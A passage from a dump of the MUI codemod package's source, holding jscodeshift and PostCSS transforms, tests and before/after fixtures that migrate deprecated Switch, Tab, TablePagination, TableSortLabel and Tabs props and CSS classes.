    "path": "packages/mui-codemod/src/deprecations/switch-props/test-cases/expected.js",
    "content": "import Switch from '@mui/material/Switch';\nimport { Switch as MySwitch } from '@mui/material';\n\n<Switch slotProps={{\n  input: { 'aria-label': 'Switch' }\n}} />;\n<Switch slotProps={{\n  input: {\n    ref: ref\n  }\n}} />;\n<Switch\n  slotProps={{\n    input: {\n      'aria-label': 'Switch',\n      ref: ref\n    }\n  }} />;\n<Switch\n  slotProps={{\n    root: { id: 'test' },\n\n    input: {\n      'aria-label': 'Switch',\n      ref: ref\n    }\n  }} />;\n<MySwitch slotProps={{\n  input: { 'aria-label': 'Switch' }\n}} />;\n<MySwitch slotProps={{\n  input: {\n    ref: ref\n  }\n}} />;\n<MySwitch\n  slotProps={{\n    input: {\n      'aria-label': 'Switch',\n      ref: ref\n    }\n  }} />;\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/switch-props/test-cases/package.actual.js",
    "content": "import Switch from '@org/ui/material/Switch';\nimport { Switch as MySwitch } from '@org/ui/material';\n\n<Switch inputProps={{ 'aria-label': 'Switch' }} />;\n<Switch inputRef={ref} />;\n<Switch inputProps={{ 'aria-label': 'Switch' }} inputRef={ref} />;\n<MySwitch inputProps={{ 'aria-label': 'Switch' }} />;\n<MySwitch inputRef={ref} />;\n<MySwitch inputProps={{ 'aria-label': 'Switch' }} inputRef={ref} />;\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/switch-props/test-cases/package.expected.js",
    "content": "import Switch from '@org/ui/material/Switch';\nimport { Switch as MySwitch } from '@org/ui/material';\n\n<Switch slotProps={{\n  input: { 'aria-label': 'Switch' }\n}} />;\n<Switch slotProps={{\n  input: {\n    ref: ref\n  }\n}} />;\n<Switch\n  slotProps={{\n    input: {\n      'aria-label': 'Switch',\n      ref: ref\n    }\n  }} />;\n<MySwitch slotProps={{\n  input: { 'aria-label': 'Switch' }\n}} />;\n<MySwitch slotProps={{\n  input: {\n    ref: ref\n  }\n}} />;\n<MySwitch\n  slotProps={{\n    input: {\n      'aria-label': 'Switch',\n      ref: ref\n    }\n  }} />;\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/switch-props/test-cases/theme.actual.js",
    "content": "fn({\n  MuiSwitch: {\n    defaultProps: {\n      inputProps: { 'aria-label': 'Switch' },\n    },\n  },\n});\n\nfn({\n  MuiSwitch: {\n    defaultProps: {\n      inputRef: ref,\n    },\n  },\n});\n\nfn({\n  MuiSwitch: {\n    defaultProps: {\n      inputProps: { 'aria-label': 'Switch' },\n      inputRef: ref,\n    },\n  },\n});\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/switch-props/test-cases/theme.expected.js",
    "content": "fn({\n  MuiSwitch: {\n    defaultProps: {\n      slotProps: {\n        input: { 'aria-label': 'Switch' }\n      },\n    },\n  },\n});\n\nfn({\n  MuiSwitch: {\n    defaultProps: {\n      slotProps: {\n        input: {\n          ref: ref\n        }\n      },\n    },\n  },\n});\n\nfn({\n  MuiSwitch: {\n    defaultProps: {\n      slotProps: {\n        input: {\n          'aria-label': 'Switch',\n          ref: ref\n        }\n      }\n    },\n  },\n});\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/tab-classes/index.js",
    "content": "export { default } from './tab-classes';\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/tab-classes/postcss-plugin.js",
    "content": "const classes = [\n  {\n    deprecatedClass: ' .MuiTab-iconWrapper',\n    replacementSelector: ' .MuiTab-icon',\n  },\n];\n\nconst plugin = () => {\n  return {\n    postcssPlugin: `Replace deprecated Tab classes with new classes`,\n    Rule(rule) {\n      const { selector } = rule;\n\n      classes.forEach(({ deprecatedClass, replacementSelector }) => {\n        const selectorRegex = new RegExp(`${deprecatedClass}$`);\n\n        if (selector.match(selectorRegex)) {\n          rule.selector = selector.replace(selectorRegex, replacementSelector);\n        }\n      });\n    },\n  };\n};\nplugin.postcss = true;\n\nmodule.exports = {\n  plugin,\n  classes,\n};\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/tab-classes/postcss.config.js",
    "content": "const { plugin } = require('./postcss-plugin');\n\nmodule.exports = {\n  plugins: [plugin],\n};\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/tab-classes/tab-classes.js",
    "content": "import { classes } from './postcss-plugin';\n\n/**\n * @param {import('jscodeshift').FileInfo} file\n * @param {import('jscodeshift').API} api\n */\nexport default function transformer(file, api, options) {\n  const j = api.jscodeshift;\n  const root = j(file.source);\n  const printOptions = options.printOptions;\n  classes.forEach(({ deprecatedClass, replacementSelector }) => {\n    const replacementSelectorPrefix = '&';\n    root\n      .find(j.ImportDeclaration)\n      .filter((path) =>\n        path.node.source.value.match(\n          new RegExp(`^${options.packageName || '@mui/material'}(/Tab)?$`),\n        ),\n      )\n      .forEach((path) => {\n        path.node.specifiers.forEach((specifier) => {\n          if (specifier.type === 'ImportSpecifier' && specifier.imported.name === 'tabClasses') {\n            const deprecatedAtomicClass = deprecatedClass.replace(\n              `${deprecatedClass.split('-')[0]}-`,\n              '',\n            );\n            root\n              .find(j.MemberExpression, {\n                object: { name: specifier.local.name },\n                property: { name: deprecatedAtomicClass },\n              })\n              .forEach((memberExpression) => {\n                const parent = memberExpression.parentPath.parentPath.value;\n                if (parent.type === j.TemplateLiteral.name) {\n                  const memberExpressionIndex = parent.expressions.findIndex(\n                    (expression) => expression === memberExpression.value,\n                  );\n                  const precedingTemplateElement = parent.quasis[memberExpressionIndex];\n                  const atomicClasses = ['icon'];\n\n                  if (\n                    precedingTemplateElement.value.raw.endsWith(\n                      deprecatedClass.startsWith(' ')\n                        ? `${replacementSelectorPrefix} .`\n                        : `${replacementSelectorPrefix}.`,\n                    )\n                  ) {\n                    const atomicClassesArgs = [\n                      memberExpressionIndex,\n                      1,\n                      ...atomicClasses.map((atomicClass) =>\n                        j.memberExpression(\n                          memberExpression.value.object,\n                          j.identifier(atomicClass),\n                        ),\n                      ),\n                    ];\n                    parent.expressions.splice(...atomicClassesArgs);\n                  }\n                }\n              });\n          }\n        });\n      });\n\n    const selectorRegex = new RegExp(`${replacementSelectorPrefix}${deprecatedClass}$`);\n    root\n      .find(\n        j.Literal,\n        (literal) => typeof literal.value === 'string' && literal.value.match(selectorRegex),\n      )\n      .forEach((path) => {\n        path.replace(\n          j.literal(\n            path.value.value.replace(\n              selectorRegex,\n              `${replacementSelectorPrefix}${replacementSelector}`,\n            ),\n          ),\n        );\n      });\n  });\n  return root.toSource(printOptions);\n}\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/tab-classes/tab-classes.test.js",
    "content": "import path from 'path';\nimport { expect } from 'chai';\nimport postcss from 'postcss';\nimport { jscodeshift } from '../../../testUtils';\nimport jsTransform from './tab-classes';\nimport { plugin as postcssPlugin } from './postcss-plugin';\nimport readFile from '../../util/readFile';\n\nfunction read(fileName) {\n  return readFile(path.join(__dirname, fileName));\n}\n\nconst postcssProcessor = postcss([postcssPlugin]);\n\ndescribe('@mui/codemod', () => {\n  describe('deprecations', () => {\n    describe('toggle-button-group-classes', () => {\n      describe('js-transform', () => {\n        it('transforms props as needed', () => {\n          const actual = jsTransform(\n            { source: read('./test-cases/actual.js') },\n            { jscodeshift },\n            { printOptions: { quote: 'double', trailingComma: true } },\n          );\n\n          const expected = read('./test-cases/expected.js');\n          expect(actual).to.equal(expected, 'The transformed version should be correct');\n        });\n\n        it('should be idempotent', () => {\n          const actual = jsTransform(\n            { source: read('./test-cases/expected.js') },\n            { jscodeshift },\n            {},\n          );\n\n          const expected = read('./test-cases/expected.js');\n          expect(actual).to.equal(expected, 'The transformed version should be correct');\n        });\n      });\n\n      describe('[package] js-transform', () => {\n        it('transforms props as needed', () => {\n          const actual = jsTransform(\n            { source: read('./test-cases/package.actual.js') },\n            { jscodeshift },\n            {\n              printOptions: { quote: 'double', trailingComma: true },\n              packageName: '@org/ui/material',\n            },\n          );\n\n          const expected = read('./test-cases/package.expected.js');\n          expect(actual).to.equal(expected, 'The transformed version should be correct');\n        });\n\n        it('should be idempotent', () => {\n          const actual = jsTransform(\n            { source: read('./test-cases/package.expected.js') },\n            { jscodeshift },\n            { packageName: '@org/ui/material' },\n          );\n\n          const expected = read('./test-cases/package.expected.js');\n          expect(actual).to.equal(expected, 'The transformed version should be correct');\n        });\n      });\n\n      describe('css-transform', () => {\n        it('transforms classes as needed', async () => {\n          const actual = await postcssProcessor.process(read('./test-cases/actual.css'), {\n            from: undefined,\n          });\n\n          const expected = read('./test-cases/expected.css');\n          expect(actual.css).to.equal(expected, 'The transformed version should be correct');\n        });\n\n        it('should be idempotent', async () => {\n          const actual = await postcssProcessor.process(read('./test-cases/expected.css'), {\n            from: undefined,\n          });\n\n          const expected = read('./test-cases/expected.css');\n          expect(actual.css).to.equal(expected, 'The transformed version should be correct');\n        });\n      });\n\n      describe('test-cases', () => {\n        it('should not be the same', () => {\n          const actualJS = read('./test-cases/actual.js');\n          const expectedJS = read('./test-cases/expected.js');\n          expect(actualJS).not.to.equal(expectedJS, 'The actual and expected should be different');\n\n          const actualCSS = read('./test-cases/actual.css');\n          const expectedCSS = read('./test-cases/expected.css');\n          expect(actualCSS).not.to.equal(\n            expectedCSS,\n            'The actual and expected should be different',\n          );\n        });\n      });\n    });\n  });\n});\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/tab-classes/test-cases/actual.css",
    "content": ".MuiTab-root .MuiTab-iconWrapper {\n  color: red;\n}\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/tab-classes/test-cases/actual.js",
    "content": "import { tabClasses } from '@mui/material/Tab';\n\n('& .MuiTab-iconWrapper');\n`& .${tabClasses.iconWrapper}`;\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/tab-classes/test-cases/expected.css",
    "content": ".MuiTab-root .MuiTab-icon {\n  color: red;\n}\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/tab-classes/test-cases/expected.js",
    "content": "import { tabClasses } from '@mui/material/Tab';\n\n(\"& .MuiTab-icon\");\n`& .${tabClasses.icon}`;\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/tab-classes/test-cases/package.actual.js",
    "content": "import { tabClasses } from '@org/ui/material/Tab';\n\n('& .MuiTab-iconWrapper');\n`& .${tabClasses.iconWrapper}`;\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/tab-classes/test-cases/package.expected.js",
    "content": "import { tabClasses } from '@org/ui/material/Tab';\n\n(\"& .MuiTab-icon\");\n`& .${tabClasses.icon}`;\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/table-pagination-props/index.js",
    "content": "export { default } from './table-pagination-props';\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/table-pagination-props/table-pagination-props.js",
    "content": "import movePropIntoSlots from '../utils/movePropIntoSlots';\nimport movePropIntoSlotProps from '../utils/movePropIntoSlotProps';\n\n/**\n * @param {import('jscodeshift').FileInfo} file\n * @param {import('jscodeshift').API} api\n */\nexport default function transformer(file, api, options) {\n  const j = api.jscodeshift;\n  const root = j(file.source);\n  const printOptions = options.printOptions;\n\n  movePropIntoSlots(j, {\n    root,\n    packageName: options.packageName,\n    componentName: 'TablePagination',\n    propName: 'ActionsComponent',\n    slotName: 'actions',\n  });\n\n  movePropIntoSlotProps(j, {\n    root,\n    packageName: options.packageName,\n    componentName: 'TablePagination',\n    propName: 'SelectProps',\n    slotName: 'select',\n  });\n\n  return root.toSource(printOptions);\n}\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/table-pagination-props/table-pagination-props.test.js",
    "content": "import { describeJscodeshiftTransform } from '../../../testUtils';\nimport transform from './table-pagination-props';\n\ndescribe('@mui/codemod', () => {\n  describe('deprecations', () => {\n    describeJscodeshiftTransform({\n      transform,\n      transformName: 'table-pagination-props',\n      dirname: __dirname,\n      testCases: [\n        { actual: '/test-cases/actual.js', expected: '/test-cases/expected.js' },\n        { actual: '/test-cases/theme.actual.js', expected: '/test-cases/theme.expected.js' },\n        {\n          actual: '/test-cases/package.actual.js',\n          expected: '/test-cases/package.expected.js',\n          options: { packageName: '@org/ui/material' },\n        },\n      ],\n    });\n  });\n});\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/table-pagination-props/test-cases/actual.js",
    "content": "import TablePagination from '@mui/material/TablePagination';\nimport { TablePagination as MyTablePagination } from '@mui/material';\n\n<TablePagination ActionsComponent=\"div\" SelectProps={{ native: true }} />;\n<TablePagination\n  ActionsComponent=\"div\"\n  SelectProps={{ native: true }}\n  slots={{\n    actions: 'div',\n    select: 'div',\n  }}\n/>;\n<TablePagination\n  ActionsComponent=\"div\"\n  SelectProps={{ native: true }}\n  slots={{\n    root: 'div',\n  }}\n  slotProps={{\n    root: { 'aria-label': '' },\n  }}\n/>;\n<TablePagination\n  ActionsComponent=\"div\"\n  SelectProps={{ native: true }}\n  slots={{ actions: () => null }}\n  slotProps={{ select: { native: false } }}\n/>;\n\n<MyTablePagination ActionsComponent=\"div\" SelectProps={{ native: true }} />;\n\n<CustomTablePagination ActionsComponent=\"div\" SelectProps={{ native: true }} />;\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/table-pagination-props/test-cases/expected.js",
    "content": "import TablePagination from '@mui/material/TablePagination';\nimport { TablePagination as MyTablePagination } from '@mui/material';\n\n<TablePagination slots={{\n  actions: \"div\"\n}} slotProps={{\n  select: { native: true }\n}} />;\n<TablePagination\n  slots={{\n    actions: 'div',\n    select: 'div',\n  }}\n  slotProps={{\n    select: { native: true }\n  }} />;\n<TablePagination\n  slots={{\n    root: 'div',\n    actions: \"div\"\n  }}\n  slotProps={{\n    root: { 'aria-label': '' },\n    select: { native: true }\n  }} />;\n<TablePagination\n  slots={{ actions: () => null }}\n  slotProps={{ select: {\n    ...{ native: true },\n    ...{ native: false }\n  } }} />;\n\n<MyTablePagination slots={{\n  actions: \"div\"\n}} slotProps={{\n  select: { native: true }\n}} />;\n\n<CustomTablePagination ActionsComponent=\"div\" SelectProps={{ native: true }} />;\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/table-pagination-props/test-cases/package.actual.js",
    "content": "import TablePagination from '@org/ui/material/TablePagination';\nimport { TablePagination as MyTablePagination } from '@org/ui/material';\n\n<TablePagination ActionsComponent=\"div\" SelectProps={{ native: true }} />;\n<TablePagination\n  ActionsComponent=\"div\"\n  SelectProps={{ native: true }}\n  slots={{\n    actions: 'div',\n    select: 'div',\n  }}\n/>;\n<TablePagination\n  ActionsComponent=\"div\"\n  SelectProps={{ native: true }}\n  slots={{\n    root: 'div',\n  }}\n  slotProps={{\n    root: { 'aria-label': '' },\n  }}\n/>;\n<TablePagination\n  ActionsComponent=\"div\"\n  SelectProps={{ native: true }}\n  slots={{ actions: () => null }}\n  slotProps={{ select: { native: false } }}\n/>;\n\n<MyTablePagination ActionsComponent=\"div\" SelectProps={{ native: true }} />;\n\n<CustomTablePagination ActionsComponent=\"div\" SelectProps={{ native: true }} />;\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/table-pagination-props/test-cases/package.expected.js",
    "content": "import TablePagination from '@org/ui/material/TablePagination';\nimport { TablePagination as MyTablePagination } from '@org/ui/material';\n\n<TablePagination slots={{\n  actions: \"div\"\n}} slotProps={{\n  select: { native: true }\n}} />;\n<TablePagination\n  slots={{\n    actions: 'div',\n    select: 'div',\n  }}\n  slotProps={{\n    select: { native: true }\n  }} />;\n<TablePagination\n  slots={{\n    root: 'div',\n    actions: \"div\"\n  }}\n  slotProps={{\n    root: { 'aria-label': '' },\n    select: { native: true }\n  }} />;\n<TablePagination\n  slots={{ actions: () => null }}\n  slotProps={{ select: {\n    ...{ native: true },\n    ...{ native: false }\n  } }} />;\n\n<MyTablePagination slots={{\n  actions: \"div\"\n}} slotProps={{\n  select: { native: true }\n}} />;\n\n<CustomTablePagination ActionsComponent=\"div\" SelectProps={{ native: true }} />;\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/table-pagination-props/test-cases/theme.actual.js",
    "content": "fn({\n  MuiTablePagination: {\n    defaultProps: {\n      ActionsComponent: 'div',\n      SelectProps: { native: true },\n    },\n  },\n});\n\nfn({\n  MuiTablePagination: {\n    defaultProps: {\n      ActionsComponent: 'div',\n      SelectProps: { native: true },\n      slotProps: {\n        root: { id: 'test' },\n      },\n      slots: {\n        root: 'div',\n      },\n    },\n  },\n});\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/table-pagination-props/test-cases/theme.expected.js",
    "content": "fn({\n  MuiTablePagination: {\n    defaultProps: {\n      slots: {\n        actions: 'div'\n      },\n\n      slotProps: {\n        select: { native: true }\n      }\n    },\n  },\n});\n\nfn({\n  MuiTablePagination: {\n    defaultProps: {\n      slotProps: {\n        root: { id: 'test' },\n        select: { native: true }\n      },\n\n      slots: {\n        root: 'div',\n        actions: 'div'\n      }\n    },\n  },\n});\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/table-sort-label-classes/index.js",
    "content": "export { default } from './table-sort-label-classes';\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/table-sort-label-classes/postcss-plugin.js",
    "content": "const classes = [\n  {\n    deprecatedClass: ' .MuiTableSortLabel-iconDirectionDesc',\n    replacementSelector: '.MuiTableSortLabel-directionDesc > .MuiTableSortLabel-icon',\n  },\n  {\n    deprecatedClass: ' .MuiTableSortLabel-iconDirectionAsc',\n    replacementSelector: '.MuiTableSortLabel-directionAsc > .MuiTableSortLabel-icon',\n  },\n];\n\nconst plugin = () => {\n  return {\n    postcssPlugin: `Replace deprecated TableSortLabel classes with new classes`,\n    Rule(rule) {\n      const { selector } = rule;\n\n      classes.forEach(({ deprecatedClass, replacementSelector }) => {\n        const selectorRegex = new RegExp(`${deprecatedClass}$`);\n\n        if (selector.match(selectorRegex)) {\n          rule.selector = selector.replace(selectorRegex, replacementSelector);\n        }\n      });\n    },\n  };\n};\nplugin.postcss = true;\n\nmodule.exports = {\n  plugin,\n  classes,\n};\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/table-sort-label-classes/postcss.config.js",
    "content": "const { plugin } = require('./postcss-plugin');\n\nmodule.exports = {\n  plugins: [plugin],\n};\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/table-sort-label-classes/table-sort-label-classes.js",
    "content": "import { classes } from './postcss-plugin';\n\n/**\n * @param {import('jscodeshift').FileInfo} file\n * @param {import('jscodeshift').API} api\n */\nexport default function transformer(file, api, options) {\n  const j = api.jscodeshift;\n  const root = j(file.source);\n  const printOptions = options.printOptions;\n  classes.forEach(({ deprecatedClass, replacementSelector }) => {\n    const replacementSelectorPrefix = '&';\n    root\n      .find(j.ImportDeclaration)\n      .filter((path) =>\n        path.node.source.value.match(\n          new RegExp(`^${options.packageName || '@mui/material'}(/TableSortLabel)?$`),\n        ),\n      )\n      .forEach((path) => {\n        path.node.specifiers.forEach((specifier) => {\n          if (\n            specifier.type === 'ImportSpecifier' &&\n            specifier.imported.name === 'tableSortLabelClasses'\n          ) {\n            const deprecatedAtomicClass = deprecatedClass.replace(\n              `${deprecatedClass.split('-')[0]}-`,\n              '',\n            );\n            root\n              .find(j.MemberExpression, {\n                object: { name: specifier.local.name },\n                property: { name: deprecatedAtomicClass },\n              })\n              .forEach((memberExpression) => {\n                const parent = memberExpression.parentPath.parentPath.value;\n                if (parent.type === j.TemplateLiteral.name) {\n                  const memberExpressionIndex = parent.expressions.findIndex(\n                    (expression) => expression === memberExpression.value,\n                  );\n                  const precedingTemplateElement = parent.quasis[memberExpressionIndex];\n                  const atomicClasses = replacementSelector\n                    .replaceAll('MuiTableSortLabel-', '')\n                    .replaceAll(replacementSelectorPrefix, '')\n                    .replaceAll(' > ', '')\n                    .split('.')\n                    .filter(Boolean);\n\n                  if (\n                    precedingTemplateElement.value.raw.endsWith(\n                      deprecatedClass.startsWith(' ')\n                        ? `${replacementSelectorPrefix} .`\n                        : `${replacementSelectorPrefix}.`,\n                    )\n                  ) {\n                    const atomicClassesArgs = [\n                      memberExpressionIndex,\n                      1,\n                      ...atomicClasses.map((atomicClass) =>\n                        j.memberExpression(\n                          memberExpression.value.object,\n                          j.identifier(atomicClass),\n                        ),\n                      ),\n                    ];\n                    parent.expressions.splice(...atomicClassesArgs);\n\n                    if (replacementSelector.includes(' > ')) {\n                      const quasisArgs = [\n                        memberExpressionIndex,\n                        1,\n                        j.templateElement(\n                          {\n                            raw: precedingTemplateElement.value.raw.replace(' ', ''),\n                            cooked: precedingTemplateElement.value.cooked.replace(' ', ''),\n                          },\n                          false,\n                        ),\n                        j.templateElement({ raw: ' > .', cooked: ' > .' }, false),\n                      ];\n\n                      if (atomicClasses.length === 3) {\n                        quasisArgs.splice(\n                          3,\n                          0,\n                          j.templateElement({ raw: '.', cooked: '.' }, false),\n                        );\n                      }\n\n                      parent.quasis.splice(...quasisArgs);\n                    } else {\n                      parent.quasis.splice(\n                        memberExpressionIndex,\n                        1,\n                        j.templateElement(\n                          {\n                            raw: precedingTemplateElement.value.raw,\n                            cooked: precedingTemplateElement.value.cooked,\n                          },\n                          false,\n                        ),\n\n                        j.templateElement({ raw: '.', cooked: '.' }, false),\n                      );\n                    }\n                  }\n                }\n              });\n          }\n        });\n      });\n\n    const selectorRegex = new RegExp(`${replacementSelectorPrefix}${deprecatedClass}$`);\n    root\n      .find(\n        j.Literal,\n        (literal) => typeof literal.value === 'string' && literal.value.match(selectorRegex),\n      )\n      .forEach((path) => {\n        path.replace(\n          j.literal(\n            path.value.value.replace(\n              selectorRegex,\n              `${replacementSelectorPrefix}${replacementSelector}`,\n            ),\n          ),\n        );\n      });\n  });\n  return root.toSource(printOptions);\n}\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/table-sort-label-classes/table-sort-label-classes.test.js",
    "content": "import path from 'path';\nimport { expect } from 'chai';\nimport postcss from 'postcss';\nimport { jscodeshift } from '../../../testUtils';\nimport jsTransform from './table-sort-label-classes';\nimport { plugin as postcssPlugin } from './postcss-plugin';\nimport readFile from '../../util/readFile';\n\nfunction read(fileName) {\n  return readFile(path.join(__dirname, fileName));\n}\n\nconst postcssProcessor = postcss([postcssPlugin]);\n\ndescribe('@mui/codemod', () => {\n  describe('deprecations', () => {\n    describe('toggle-button-group-classes', () => {\n      describe('js-transform', () => {\n        it('transforms props as needed', () => {\n          const actual = jsTransform(\n            { source: read('./test-cases/actual.js') },\n            { jscodeshift },\n            { printOptions: { quote: 'double', trailingComma: true } },\n          );\n\n          const expected = read('./test-cases/expected.js');\n          expect(actual).to.equal(expected, 'The transformed version should be correct');\n        });\n\n        it('should be idempotent', () => {\n          const actual = jsTransform(\n            { source: read('./test-cases/expected.js') },\n            { jscodeshift },\n            {},\n          );\n\n          const expected = read('./test-cases/expected.js');\n          expect(actual).to.equal(expected, 'The transformed version should be correct');\n        });\n      });\n\n      describe('[package] js-transform', () => {\n        it('transforms props as needed', () => {\n          const actual = jsTransform(\n            { source: read('./test-cases/package.actual.js') },\n            { jscodeshift },\n            {\n              printOptions: { quote: 'double', trailingComma: true },\n              packageName: '@org/ui/material',\n            },\n          );\n\n          const expected = read('./test-cases/package.expected.js');\n          expect(actual).to.equal(expected, 'The transformed version should be correct');\n        });\n\n        it('should be idempotent', () => {\n          const actual = jsTransform(\n            { source: read('./test-cases/package.expected.js') },\n            { jscodeshift },\n            { packageName: '@org/ui/material' },\n          );\n\n          const expected = read('./test-cases/package.expected.js');\n          expect(actual).to.equal(expected, 'The transformed version should be correct');\n        });\n      });\n\n      describe('css-transform', () => {\n        it('transforms classes as needed', async () => {\n          const actual = await postcssProcessor.process(read('./test-cases/actual.css'), {\n            from: undefined,\n          });\n\n          const expected = read('./test-cases/expected.css');\n          expect(actual.css).to.equal(expected, 'The transformed version should be correct');\n        });\n\n        it('should be idempotent', async () => {\n          const actual = await postcssProcessor.process(read('./test-cases/expected.css'), {\n            from: undefined,\n          });\n\n          const expected = read('./test-cases/expected.css');\n          expect(actual.css).to.equal(expected, 'The transformed version should be correct');\n        });\n      });\n\n      describe('test-cases', () => {\n        it('should not be the same', () => {\n          const actualJS = read('./test-cases/actual.js');\n          const expectedJS = read('./test-cases/expected.js');\n          expect(actualJS).not.to.equal(expectedJS, 'The actual and expected should be different');\n\n          const actualCSS = read('./test-cases/actual.css');\n          const expectedCSS = read('./test-cases/expected.css');\n          expect(actualCSS).not.to.equal(\n            expectedCSS,\n            'The actual and expected should be different',\n          );\n        });\n      });\n    });\n  });\n});\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/table-sort-label-classes/test-cases/actual.css",
    "content": ".MuiTableSortLabel-root .MuiTableSortLabel-iconDirectionDesc {\n  color: red;\n}\n\n.MuiTableSortLabel-root .MuiTableSortLabel-iconDirectionAsc {\n  color: red;\n}\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/table-sort-label-classes/test-cases/actual.js",
    "content": "import { tableSortLabelClasses } from '@mui/material/TableSortLabel';\n\n('& .MuiTableSortLabel-iconDirectionDesc');\n('& .MuiTableSortLabel-iconDirectionAsc');\n`& .${tableSortLabelClasses.iconDirectionDesc}`;\n`& .${tableSortLabelClasses.iconDirectionAsc}`;\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/table-sort-label-classes/test-cases/expected.css",
    "content": ".MuiTableSortLabel-root.MuiTableSortLabel-directionDesc > .MuiTableSortLabel-icon {\n  color: red;\n}\n\n.MuiTableSortLabel-root.MuiTableSortLabel-directionAsc > .MuiTableSortLabel-icon {\n  color: red;\n}\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/table-sort-label-classes/test-cases/expected.js",
    "content": "import { tableSortLabelClasses } from '@mui/material/TableSortLabel';\n\n(\"&.MuiTableSortLabel-directionDesc > .MuiTableSortLabel-icon\");\n(\"&.MuiTableSortLabel-directionAsc > .MuiTableSortLabel-icon\");\n`&.${tableSortLabelClasses.directionDesc} > .${tableSortLabelClasses.icon}`;\n`&.${tableSortLabelClasses.directionAsc} > .${tableSortLabelClasses.icon}`;\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/table-sort-label-classes/test-cases/package.actual.js",
    "content": "import { tableSortLabelClasses } from '@org/ui/material/TableSortLabel';\n\n('& .MuiTableSortLabel-iconDirectionDesc');\n('& .MuiTableSortLabel-iconDirectionAsc');\n`& .${tableSortLabelClasses.iconDirectionDesc}`;\n`& .${tableSortLabelClasses.iconDirectionAsc}`;\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/table-sort-label-classes/test-cases/package.expected.js",
    "content": "import { tableSortLabelClasses } from '@org/ui/material/TableSortLabel';\n\n(\"&.MuiTableSortLabel-directionDesc > .MuiTableSortLabel-icon\");\n(\"&.MuiTableSortLabel-directionAsc > .MuiTableSortLabel-icon\");\n`&.${tableSortLabelClasses.directionDesc} > .${tableSortLabelClasses.icon}`;\n`&.${tableSortLabelClasses.directionAsc} > .${tableSortLabelClasses.icon}`;\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/tabs-classes/index.js",
    "content": "export { default } from './tabs-classes';\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/tabs-classes/postcss-plugin.js",
    "content": "const classes = [\n  {\n    deprecatedClass: '.MuiTabs-flexContainer',\n    replacementSelector: '.MuiTabs-list',\n  },\n  {\n    deprecatedClass: '.MuiTabs-flexContainerVertical',\n    replacementSelector: '.MuiTabs-list.MuiTabs-vertical',\n  },\n];\n\nconst plugin = () => {\n  return {\n    postcssPlugin: `Replace deprecated Tabs classes with new classes`,\n    Rule(rule) {\n      const { selector } = rule;\n\n      classes.forEach(({ deprecatedClass, replacementSelector }) => {\n        const selectorRegex = new RegExp(`${deprecatedClass}`);\n\n        if (selector.match(selectorRegex)) {\n          rule.selector = selector.replace(selectorRegex, replacementSelector);\n        }\n      });\n    },\n  };\n};\nplugin.postcss = true;\n\nmodule.exports = {\n  plugin,\n  classes,\n};\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/tabs-classes/postcss.config.js",
    "content": "const { plugin } = require('./postcss-plugin');\n\nmodule.exports = {\n  plugins: [plugin],\n};\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/tabs-classes/tabs-classes.js",
    "content": "import { classes } from './postcss-plugin';\n\n/**\n * @param {import('jscodeshift').FileInfo} file\n * @param {import('jscodeshift').API} api\n */\nexport default function transformer(file, api, options) {\n  const j = api.jscodeshift;\n  const root = j(file.source);\n  const printOptions = options.printOptions;\n  classes.forEach(({ deprecatedClass, replacementSelector }) => {\n    const replacementSelectorPrefix = '&';\n    root\n      .find(j.ImportDeclaration)\n      .filter((path) =>\n        path.node.source.value.match(\n          new RegExp(`^${options.packageName || '@mui/material'}(/Tabs)?$`),\n        ),\n      )\n      .forEach((path) => {\n        path.node.specifiers.forEach((specifier) => {\n          if (specifier.type === 'ImportSpecifier' && specifier.imported.name === 'tabsClasses') {\n            const deprecatedAtomicClass = deprecatedClass.replace(\n              `${deprecatedClass.split('-')[0]}-`,\n              '',\n            );\n            root\n              .find(j.MemberExpression, {\n                object: { name: specifier.local.name },\n                property: { name: deprecatedAtomicClass },\n              })\n              .forEach((memberExpression) => {\n                const parent = memberExpression.parentPath.parentPath.value;\n                if (parent.type === j.TemplateLiteral.name) {\n                  const memberExpressionIndex = parent.expressions.findIndex(\n                    (expression) => expression === memberExpression.value,\n                  );\n                  const precedingTemplateElement = parent.quasis[memberExpressionIndex];\n                  const atomicClasses = replacementSelector\n                    .replaceAll('MuiTabs-', '')\n                    .replaceAll(replacementSelectorPrefix, '')\n                    .replaceAll(' > ', '')\n                    .split('.')\n                    .filter(Boolean);\n\n                  if (\n                    precedingTemplateElement.value.raw.endsWith(\n                      deprecatedClass.startsWith(' ')\n                        ? `${replacementSelectorPrefix} .`\n                        : 